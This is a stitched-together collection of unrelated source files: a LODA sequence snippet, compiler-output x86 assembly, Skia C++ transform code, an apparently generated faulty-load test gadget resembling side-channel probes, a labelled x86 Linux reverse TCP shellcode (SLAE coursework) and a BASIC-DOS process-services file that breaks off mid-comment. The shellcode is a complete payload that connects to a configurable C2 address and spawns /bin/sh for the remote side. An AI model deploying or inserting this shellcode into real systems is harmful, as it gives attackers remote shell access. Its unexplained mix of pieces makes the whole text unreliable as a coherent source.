; 0,7,25,54,94,145,207,280,364,459,565,682,810,949,1099,1260,1432,1615,1809,2014,2230,2457,2695,2944,3204,3475,3757,4050,4354,4669,4995,5332,5680,6039,6409,6790,7182,7585,7999,8424,8860,9307,9765,10234,10714,11205,11707,12220,12744,13279,13825,14382,14950,15529,16119,16720,17332,17955,18589,19234,19890,20557,21235,21924,22624,23335,24057,24790,25534,26289,27055,27832,28620,29419,30229,31050,31882,32725,33579,34444,35320,36207,37105,38014,38934,39865,40807,41760,42724,43699,44685,45682,46690,47709,48739,49780,50832,51895,52969,54054
mul $0,11
add $0,2
bin $0,2
div $0,11
|
segment .data
align 4
r:
dq 61.0000
segment .text
align 4
global _main:function
_main:
align 4
xpl:
push ebp
mov ebp, esp
sub esp, 8
push dword 0
lea eax, [ebp+-4]
push eax
pop ecx
pop eax
mov [ecx], eax
push dword 0
lea eax, [ebp+-8]
push eax
pop ecx
pop eax
mov [ecx], eax
push dword $r
push dword [esp]
lea eax, [ebp+-8]
push eax
pop ecx
pop eax
mov [ecx], eax
add esp, 4
lea eax, [ebp+-8]
push eax
pop eax
push dword [eax]
push dword 0
push dword 8
pop eax
imul dword eax, [esp]
mov [esp], eax
pop eax
add dword [esp], eax
pop eax
push dword [eax+4]
push dword [eax]
call printd
add esp, 8
lea eax, [ebp+-4]
push eax
pop eax
push dword [eax]
pop eax
leave
ret
extern argc
extern argv
extern envp
extern readi
extern readd
extern printi
extern prints
extern printd
extern println
|
/*
* Copyright 2017 Google Inc.
*
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#include "SkSGTransform.h"
#include "SkCanvas.h"
#include "SkSGTransformPriv.h"
namespace sksg {
namespace {
template <typename T>
class Concat final : public Transform {
public:
template <typename = std::enable_if<std::is_same<T, SkMatrix >::value ||
std::is_same<T, SkMatrix44>::value >>
Concat(sk_sp<Transform> a, sk_sp<Transform> b)
: fA(std::move(a)), fB(std::move(b)) {
SkASSERT(fA);
SkASSERT(fB);
this->observeInval(fA);
this->observeInval(fB);
}
~Concat() override {
this->unobserveInval(fA);
this->unobserveInval(fB);
}
protected:
SkRect onRevalidate(InvalidationController* ic, const SkMatrix& ctm) override {
fA->revalidate(ic, ctm);
fB->revalidate(ic, ctm);
fComposed.setConcat(TransformPriv::As<T>(fA),
TransformPriv::As<T>(fB));
return SkRect::MakeEmpty();
}
bool is44() const override { return std::is_same<T, SkMatrix44>::value; }
SkMatrix asMatrix() const override {
return fComposed;
}
SkMatrix44 asMatrix44() const override {
return fComposed;
}
private:
const sk_sp<Transform> fA, fB;
T fComposed;
using INHERITED = Transform;
};
} // namespace
// Transform nodes don't generate damage on their own, but via ancestor TransformEffects.
Transform::Transform() : INHERITED(kBubbleDamage_Trait) {}
sk_sp<Transform> Transform::MakeConcat(sk_sp<Transform> a, sk_sp<Transform> b) {
if (!a) {
return b;
}
if (!b) {
return a;
}
return TransformPriv::Is44(a) || TransformPriv::Is44(b)
? sk_sp<Transform>(new Concat<SkMatrix44>(std::move(a), std::move(b)))
: sk_sp<Transform>(new Concat<SkMatrix >(std::move(a), std::move(b)));
}
TransformEffect::TransformEffect(sk_sp<RenderNode> child, sk_sp<Transform> transform)
: INHERITED(std::move(child))
, fTransform(std::move(transform)) {
this->observeInval(fTransform);
}
TransformEffect::~TransformEffect() {
this->unobserveInval(fTransform);
}
void TransformEffect::onRender(SkCanvas* canvas, const RenderContext* ctx) const {
const auto m = TransformPriv::As<SkMatrix>(fTransform);
SkAutoCanvasRestore acr(canvas, !m.isIdentity());
canvas->concat(m);
this->INHERITED::onRender(canvas, ctx);
}
const RenderNode* TransformEffect::onNodeAt(const SkPoint& p) const {
const auto m = TransformPriv::As<SkMatrix>(fTransform);
SkPoint mapped_p;
m.mapPoints(&mapped_p, &p, 1);
return this->INHERITED::onNodeAt(mapped_p);
}
SkRect TransformEffect::onRevalidate(InvalidationController* ic, const SkMatrix& ctm) {
SkASSERT(this->hasInval());
// We don't care about matrix reval results.
fTransform->revalidate(ic, ctm);
const auto m = TransformPriv::As<SkMatrix>(fTransform);
auto bounds = this->INHERITED::onRevalidate(ic, SkMatrix::Concat(ctm, m));
m.mapRect(&bounds);
return bounds;
}
} // namespace sksg
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x7d91, %rsi
clflush (%rsi)
nop
nop
nop
nop
add $7865, %rbx
mov $0x6162636465666768, %r12
movq %r12, (%rsi)
nop
nop
sub $9551, %rbx
lea addresses_normal_ht+0x17b11, %rsi
lea addresses_A_ht+0xbb11, %rdi
nop
nop
nop
nop
xor $5895, %r15
mov $61, %rcx
rep movsl
dec %r15
lea addresses_WC_ht+0x192f9, %rsi
lea addresses_WT_ht+0x4751, %rdi
nop
cmp $26249, %r12
mov $52, %rcx
rep movsq
nop
nop
nop
sub $61918, %r12
lea addresses_WC_ht+0xfa65, %rcx
nop
nop
nop
nop
xor %r15, %r15
mov $0x6162636465666768, %rbx
movq %rbx, %xmm7
movups %xmm7, (%rcx)
nop
nop
nop
cmp $9940, %r12
lea addresses_UC_ht+0x1c355, %rbx
add $51616, %r15
vmovups (%rbx), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %r12
nop
nop
mfence
lea addresses_UC_ht+0x1df11, %r15
nop
nop
nop
xor $61820, %r13
mov (%r15), %cx
cmp %r13, %r13
lea addresses_normal_ht+0x1c311, %rsi
lea addresses_A_ht+0x93a1, %rdi
nop
nop
nop
nop
cmp %r14, %r14
mov $88, %rcx
rep movsb
nop
nop
nop
nop
nop
sub %r14, %r14
lea addresses_D_ht+0x53bf, %rsi
lea addresses_normal_ht+0xe311, %rdi
inc %r15
mov $110, %rcx
rep movsl
nop
nop
nop
nop
nop
add $14396, %rsi
lea addresses_UC_ht+0x4811, %rsi
nop
dec %r12
movups (%rsi), %xmm1
vpextrq $0, %xmm1, %r14
nop
nop
mfence
lea addresses_WC_ht+0xab11, %r15
nop
nop
add $32894, %rbx
mov $0x6162636465666768, %r14
movq %r14, (%r15)
nop
nop
nop
cmp %rcx, %rcx
lea addresses_UC_ht+0x12f11, %rsi
lea addresses_normal_ht+0xaf11, %rdi
nop
nop
nop
sub $21066, %r12
mov $98, %rcx
rep movsw
nop
nop
and $59944, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %rbp
push %rdx
// Faulty Load
lea addresses_D+0x8b11, %rbp
nop
nop
nop
nop
add $17620, %r8
mov (%rbp), %r11
lea oracles, %rdx
and $0xff, %r11
shlq $12, %r11
mov (%rdx,%r11,1), %r11
pop %rdx
pop %rbp
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': True}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
; Filename: reverse_tcp_shellcode.nasm
; Author: Upayan a.k.a. slaeryan
; SLAE: 1525
; Contact: upayansaha@icloud.com
; Purpose: This is a x86 Linux reverse TCP null-free shellcode.
; Usage: ./reverse_tcp_shellcode
; Note: The connection attempt is not tuned so run the listener first. The C2 IP and
; the C2 Port are configurable while assembling with the -D flag(-DC2_IP=0x6801a8c0 -DC2_PORT=0x901f) respectively.
; Compile with:
; ./compile.sh reverse_tcp_shellcode
; Testing: nc -lnvp 8080
; Size of shellcode: 70 bytes
global _start
section .text
_start:
; Clearing the first 4 registers for 1st Syscall - socket()
xor eax, eax ; May also sub OR mul for zeroing out
xor ebx, ebx ; Clearing out EBX
xor ecx, ecx ; Clearing out ECX
cdq ; Clearing out EDX
; Syscall for socket() = 359 OR 0x167, loading it in AX
mov ax, 0x167
; Loading 2 in BL for AF_INET - 1st argument for socket()
mov bl, 0x02
; Loading 1 in CL for SOCK_STREAM - 2nd argument for socket()
mov cl, 0x01
; 3rd argument for socket() - 0 is already in EDX register
; socket() Syscall
int 0x80
; Storing the return value socket fd in EAX to EBX for later usage
mov ebx, eax
; Loading the C2 IP address in stack - sockaddr_in struct - 3rd argument
push dword C2_IP ; 0x6801a8c0 - C2 IP: 192.168.1.104 - reverse - hex
; Loading the C2 Port in stack - sockaddr_in struct - 2nd argument
push word C2_PORT ; 0x901f - C2 Port: 8080
; Loading AF_INET OR 2 in stack - sockaddr_in struct - 1st argument
push word 0x02
; connect() Syscall
mov ax, 0x16a ; Syscall for connect() = 362 OR 0x16a, loading it in AX
mov ecx, esp ; Moving sockaddr_in struct from TOS to ECX
mov dl, 16 ; socklen_t addrlen = 16
int 0x80 ; Execute the connect syscall
xor ecx, ecx ; Clearing out ECX for 3rd Syscall - dup2()
mov cl, 0x3 ; Initializing a counter variable = 3 for loop
; dup2() Syscall in loop
loop_dup2:
mov al, 0x3f ; dup2() Syscall number = 63 OR 0x3f
dec ecx ; Decrement ECX by 1
int 0x80 ; Execute the dup2 syscall
jnz short loop_dup2 ; Jump back to loop_dup2 label until ZF is set
; execve() Syscall
cdq ; Clearing out EDX
push edx ; push for NULL termination
push dword 0x68732f2f ; push //sh
push dword 0x6e69622f ; push /bin
mov ebx, esp ; store address of TOS - /bin//sh
mov al, 0x0b ; store Syscall number for execve() = 11 OR 0x0b in AL
int 0x80 ; Execute the system call
|
;
; BASIC-DOS Process Services
;
; @author Jeff Parsons <Jeff@pcjs.org>
; @copyright (c) 2020-2021 Jeff Parsons
; @license MIT <https://basicdos.com/LICENSE.txt>
;
; This file is part of PCjs, a computer emulation software project at pcjs.org
;
include macros.inc
include 8086.inc
include devapi.inc
include dos.inc
include dosapi.inc
DOS segment word public 'CODE'
EXTBYTE <scb_locked>
EXTWORD <mcb_head,mcb_limit,scb_active>
EXTNEAR <sfh_add_ref,pfh_close,sfh_close>
EXTNEAR <mcb_getsize,mcb_free_all>
EXTNEAR <dos_check,dos_leave,dos_leave2,dos_ctrlc,dos_error>
EXTNEAR <mcb_setname,scb_getnum,scb_release,scb_close,scb_yield>
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; psp_term (REG_AH = 00h)
;
; Inputs:
; None
;
; Outputs:
; None
;
DEFPROC psp_term,DOS
sub ax,ax ; default exit code/type
DEFLBL psp_termcode,near
ASSERT Z,<cmp [scb_locked],-1> ; SCBs should never be locked now
push ax
call get_psp
mov es,ax
pop ax
ASSUME ES:NOTHING
mov bx,[scb_active] ; BX -> SCB
mov si,es:[PSP_PARENT]
test si,si ; if program has a parent
jnz pt1 ; then the SCB is still healthy
;
; TODO: Ordinarily, when the last program in a session terminates, we also
; close the session, but until we have UI for restarting predefined sessions
; (ie, those defined in CONFIG.SYS and started by sysinit), we're going to
; temporarily prevent them from being closed -- which means refusing to
; terminate the session's lone remaining program.
;
cmp [bx].SCB_ENVSEG,-1 ; should we allow the session to close?
je pt7 ; no (sysinit started it)
;
; Close process file handles.
;
pt1: push ax ; save exit code/type on stack
call psp_close ; close all the process file handles
;
; Restore the SCB's CTRLC and ERROR handlers from the values in the PSP.
;
push es:[PSP_EXIT].SEG ; push PSP_EXIT (exit return address)
push es:[PSP_EXIT].OFF
mov ax,es:[PSP_CTRLC].OFF ; brute-force restoration
mov [bx].SCB_CTRLC.OFF,ax ; of CTRLC and ERROR handlers
mov ax,es:[PSP_CTRLC].SEG
mov [bx].SCB_CTRLC.SEG,ax
mov ax,es:[PSP_ERROR].OFF
mov [bx].SCB_ERROR.OFF,ax
mov ax,es:[PSP_ERROR].SEG
mov [bx].SCB_ERROR.SEG,ax
mov ax,es:[PSP_DTAPREV].OFF ; restore the previous DTA
mov [bx].SCB_DTA.OFF,ax ; (PC DOS may require every process
mov ax,es:[PSP_DTAPREV].SEG ; to restore this itself after an exec)
mov [bx].SCB_DTA.SEG,ax
;
; Just as scb_load had to bump SCB_INDOS, we must now reduce it, because
; this call isn't returning anywhere.
;
dec [bx].SCB_INDOS
mov al,es:[PSP_SCB] ; save SCB #
push ax
push si ; save PSP of parent
mov ax,es
call mcb_free_all ; free all blocks owned by PSP in AX
pop ax ; restore PSP of parent
pop cx ; CL = SCB #
;
; If this is a parent-less program, close the SCB and yield.
;
call set_psp ; update SCB_PSP (even if zero)
test ax,ax
jnz pt8
call scb_close ; close SCB # CL
jc pt7
jmp scb_yield ; and call scb_yield with AX = zero
ASSERT NEVER
pt7: ret
pt8: mov es,ax ; ES = PSP of parent
pop dx
pop cx ; we now have PSP_EXIT in CX:DX
pop ax ; AX = exit code (saved on entry above)
mov word ptr es:[PSP_EXCODE],ax
cli
mov ss,es:[PSP_STACK].SEG
mov sp,es:[PSP_STACK].OFF
;
; When a program (eg, SYMDEB.EXE) loads another program using DOS_PSP_EXEC1,
; it will necessarily be exec'ing the program itself, which means we can't be
; sure the stack used at the time of loading will be identical to the stack
; used at time of exec'ing. So we will use dos_leave2 to bypass the REG_CHECK
; *and* we will create a fresh IRET frame at the top of REG_FRAME.
;
IF REG_CHECK
add sp,2
ENDIF
mov bp,sp
mov [bp].REG_IP,dx ; copy PSP_EXIT to caller's CS:IP
mov [bp].REG_CS,cx ; (normally they will be identical)
mov word ptr [bp].REG_FL,FL_DEFAULT
jmp dos_leave2 ; let dos_leave turn interrupts back on
ENDPROC psp_term
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; psp_copy (REG_AH = 26h)
;
; Initializes the PSP with current memory values and vectors and then copies
; rest of the PSP from the current PSP.
;
; Inputs:
; REG_DX = segment of new PSP
;
; Outputs:
; None
;
; Modifies:
; AX, BX, CX, DX, SI, DI, DS, ES
;
DEFPROC psp_copy,DOS
mov bx,[mcb_limit] ; BX = PSP paras (default)
call get_psp
jz pcp1
mov es,ax
ASSUME ES:NOTHING
mov bx,es:[PSP_PARAS] ; BX = PSP_PARAS from current PSP
pcp1: call psp_init ; returns ES:DI -> PSP_PARENT
ASSERT NZ,<test ax,ax>
mov ds,ax
ASSUME DS:NOTHING
mov si,PSP_PARENT
mov cx,(size PSP - PSP_PARENT) SHR 1
rep movsw
ret
ENDPROC psp_copy
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; psp_exec (REG_AX = 4Bh)
;
; NOTE: If REG_BX = -1, then load_command is used instead of load_program.
;
; TODO: Add support for EPB_ENVSEG.
;
; Inputs:
; REG_AL = subfunction
; 0: load program
; 1: load program w/o starting
; 2: start program
; REG_ES:REG_BX -> Exec Parameter Block (EPB)
; REG_DS:REG_DX -> program name or command line
;
; Outputs:
; If successful, carry clear
; If error, carry set, AX = error code
;
DEFPROC psp_exec,DOS
cmp al,2 ; valid subfunction?
je px5
cmc
mov ax,ERR_INVALID
jc pxx ; AX = error code if not
mov ds,[bp].REG_DS
ASSUME DS:NOTHING
mov si,dx ; DS:SI -> program/command (from DS:DX)
inc bx ; BX = -1?
jnz px3 ; no
;
; No EPB was provided, so treat DS:SI as a command line.
;
call load_command ; load the program and parse the tail
jc pxx ; AX should contain an error code
;
; This was a DOS_PSP_EXEC call, and unlike scb_load, it's a synchronous
; operation, meaning we launch the program directly from this call.
;
px1: cli
mov ss,dx ; switch to the new program's stack
mov sp,ax
jmp dos_leave ; and let dos_leave turn interrupts on
px3: dec bx ; restore BX pointer to EPB
call load_program ; load the program
ASSUME ES:NOTHING
jc pxx ; AX should contain an error code
;
; Use load_args to build the FCBs and CMDTAIL in the PSP from the EBP.
;
mov ds,[bp].REG_ES
mov bx,[bp].REG_BX ; DS:BX -> EPB (from ES:BX)
call load_args ; DX:AX -> new stack
cmp byte ptr [bp].REG_AL,0 ; was AL zero?
je px1 ; no
;
; This is a DOS_PSP_EXEC1 call: an undocumented call that only loads the
; program, fills in the undocumented EPB_INIT_SP and EPB_INIT_IP fields,
; and then returns to the caller.
;
; Note that EPB_INIT_SP will normally be PSP_STACK (PSP:2Eh) - 2, since we
; push a zero on the stack, and EPB_INIT_IP should match PSP_START (PSP:40h).
;
; The current PSP is the new PSP (which is still in ES) and DX:AX now points
; to the program's stack. However, the stack we created contains our usual
; REG_FRAME, which the caller has no use for, so we remove it. In fact, the
; new stack is supposed to contain only the initial value for REG_AX, which
; we take care of below.
;
px4: IF REG_CHECK
add ax,REG_CHECK
ENDIF
mov di,ax
add ax,size REG_FRAME-2 ; leave just REG_FL on the stack
mov [bx].EPB_INIT_SP.OFF,ax
mov [bx].EPB_INIT_SP.SEG,dx ; return the program's SS:SP
mov es,dx ; ES:DI -> REG_FRAME
mov ax,es:[di].REG_AX
mov es:[di].REG_FL,ax ; store REG_AX in place of REG_FL
les di,dword ptr es:[di].REG_IP
mov [bx].EPB_INIT_IP.OFF,di
mov [bx].EPB_INIT_IP.SEG,es ; return the program's CS:IP
clc
ret
pxx: jmp short px9
;
; This is a DOS_PSP_EXEC2 "start" request. ES:BX must point to a previously
; initialized EPB with EPB_INIT_SP pointing to REG_FL in a REG_FRAME, and the
; current PSP must be the new PSP (ie, exactly as DOS_PSP_EXEC1 left it).
;
; In addition, we copy the caller's REG_CS:REG_IP into PSP_EXIT, because we
; don't want the program returning to the original EXEC call on termination.
;
px5: mov ds,[bp].REG_ES
mov bx,[bp].REG_BX ; DS:BX -> EPB (from REG_ES:REG_BX)
les di,[bx].EPB_INIT_IP ; ES:DI = REG_CS:REG_IP for program
lds si,[bx].EPB_INIT_SP ; DS:SI -> stack (@REG_FL)
sub si,size REG_FRAME-2 ; DS:SI -> REG_FRAME
mov [si].REG_FL,FL_DEFAULT ; fix REG_FL
mov [si].REG_CS,es
mov [si].REG_IP,di ; update REG_CS:REG_IP on frame
mov dx,ds
call get_psp
jz px7
mov ds,ax ; DS -> new PSP
push ds
mov ds,ds:[PSP_PARENT] ; in addition, the stack ptr
mov ax,bp ; that load_program normally saves
IF REG_CHECK ; in the previous PSP is based on the
sub ax,2 ; assumption that the same INT 21h
ENDIF ; both loaded and exec'ed us
mov ds:[PSP_STACK].OFF,ax ;
mov ds:[PSP_STACK].SEG,ss ; so, re-save the current stack ptr
pop ds
mov ax,[bp].REG_IP
mov ds:[PSP_EXIT].OFF,ax
mov ax,[bp].REG_CS
mov ds:[PSP_EXIT].SEG,ax
px7: xchg ax,si ; DX:AX -> REG_FRAME
IF REG_CHECK
sub ax,REG_CHECK
ENDIF
jmp px1
px9: mov [bp].REG_AX,ax ; return any error code in REG_AX
stc
ret
ENDPROC psp_exec
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; psp_return (REG_AH = 4Ch)
;
; Inputs:
; REG_AL = return code
;
; Outputs:
; None
;
DEFPROC psp_return,DOS
mov ah,EXTYPE_NORMAL
jmp psp_termcode
ENDPROC psp_return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; psp_retcode (REG_AH = 4Dh)
;
; Returns the exit code (AL) and exit type (AH) from the child process.
;
; Inputs:
; None
;
; Outputs:
; REG_AL = exit code
; REG_AH = exit type (see EXTYPE_*)
;
; Modifies:
; AX
;
DEFPROC psp_retcode,DOS
call get_psp
mov ds,ax
mov ax,word ptr ds:[PSP_EXCODE]
mov [bp].REG_AX,ax
ret
ENDPROC psp_retcode
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; psp_set (REG_AH = 50h)
;
; Inputs:
; REG_BX = segment of new PSP
;
; Outputs:
; None
;
DEFPROC psp_set,DOS
mov ax,[bp].REG_BX
jmp set_psp
ENDPROC psp_set
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; psp_get (REG_AH = 51h)
;
; Inputs:
; None
;
; Outputs:
; REG_BX = segment of current PSP
;
DEFPROC psp_get,DOS
call get_psp
mov [bp].REG_BX,ax
ret
ENDPROC psp_get
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; psp_create (REG_AH = 55h)
;
; Creates a new PSP with a process file table filled with file handles
; from the parent PSP, or failing that, file handles from the active SCB.
;
; Inputs:
; REG_DX = segment of new PSP
;
; Outputs:
; None
;
; Modifies:
; AX, BX, CX, DX, SI, DI, ES
;
DEFPROC psp_create,DOS
mov bx,[mcb_limit] ; BX = PSP paras (default)
call psp_init ; returns ES:DI -> PSP_PARENT
stosw ; update PSP_PARENT
;
; If there's a parent PSP, we copy all the handles from it; otherwise,
; we copy the first 5 handles from the SCB and fill the rest with SFH_NONE.
;
test ax,ax
jz pc0
mov ds,ax
ASSUME DS:NOTHING
mov si,PSP_PFT
mov cx,size PSP_PFT
jmp short pc1
pc0: mov cx,5
lea si,[bx].SCB_SFHIN
pc1: lodsb
stosb
mov ah,1
call sfh_add_ref
loop pc1
mov cx,PSP_PFT + size PSP_PFT
sub cx,di ; CX = # handles left
mov al,SFH_NONE ; AL = 0FFh (indicates unused entry)
rep stosb ; finish up PSP_PFT (20 bytes total)
mov cl,(size PSP - PSP_ENVSEG) SHR 1
sub ax,ax
rep stosw ; zero the rest of the PSP
mov di,PSP_DOSCALL
mov ax,OP_INT21
stosw
mov al,OP_RETF
stosb
mov di,PSP_FCB1
mov al,' '
mov cl,size FCB_NAME
rep stosb
mov cl,size FCB_NAME
mov di,PSP_FCB2
rep stosb
mov di,PSP_CMDTAIL
mov ax,0D00h
stosw
ret
ENDPROC psp_create
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; load_command
;
; This is a wrapper around load_program, which takes care of splitting a
; command line into a program name and a command tail, as well as creating
; the (up to) two initial FCBs.
;
; Inputs:
; DS:SI -> command line
;
; Outputs:
; If successful, carry clear, DX:AX -> new stack (from load_args)
; If error, carry set, AX = error code
;
; Modifies:
; AX, BX, CX, DX, SI, DI, DS, ES
;
DEFPROC load_command,DOS
ASSUME DS:NOTHING,ES:NOTHING
push si ; save starting point
lc1: lodsb
cmp al,CHR_SPACE
ja lc1
dec si
mov byte ptr [si],0
mov bx,si ; AL = separator, BX -> separator
pop si
push ax
push bx
push ds
push si
call load_program ; DS:SI -> program name
pop si
pop ds
pop bx
pop cx
jc lc9 ; if carry set, AX is error code
;
; DS:SI -> command line, CL = separator, BX = separator address, and
; ES:DI -> new program's stack.
;
push ds
push bp
sub sp,size EPB
mov bp,sp ; BP -> EPB followed by two FCBs
mov [bp].EPB_ENVSEG,0
mov [bx],cl ; restore separator
mov si,bx
DOSUTIL STRLEN ; AX = # chars at DS:SI
ASSERT BE,<cmp ax,126>
dec bx
xchg cx,ax ; CX = length
xchg [bx],cl ; set length
mov [bp].EPB_CMDTAIL.OFF,bx
mov [bp].EPB_CMDTAIL.SEG,ds
mov [bp].EPB_FCB1.OFF,-1 ; tell load_args to build the FCBs
push bx
mov bx,bp
push ss
pop ds ; DS:BX -> EBP
call load_args
pop bx
add sp,size EPB
pop bp
pop ds
mov [bx],cl ; restore byte overwritten by length
ASSERT NC
lc9: ret
ENDPROC load_command
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; load_args
;
; NOTE: If EPB_FCB1.OFF is -1, then this function will build both FCBs
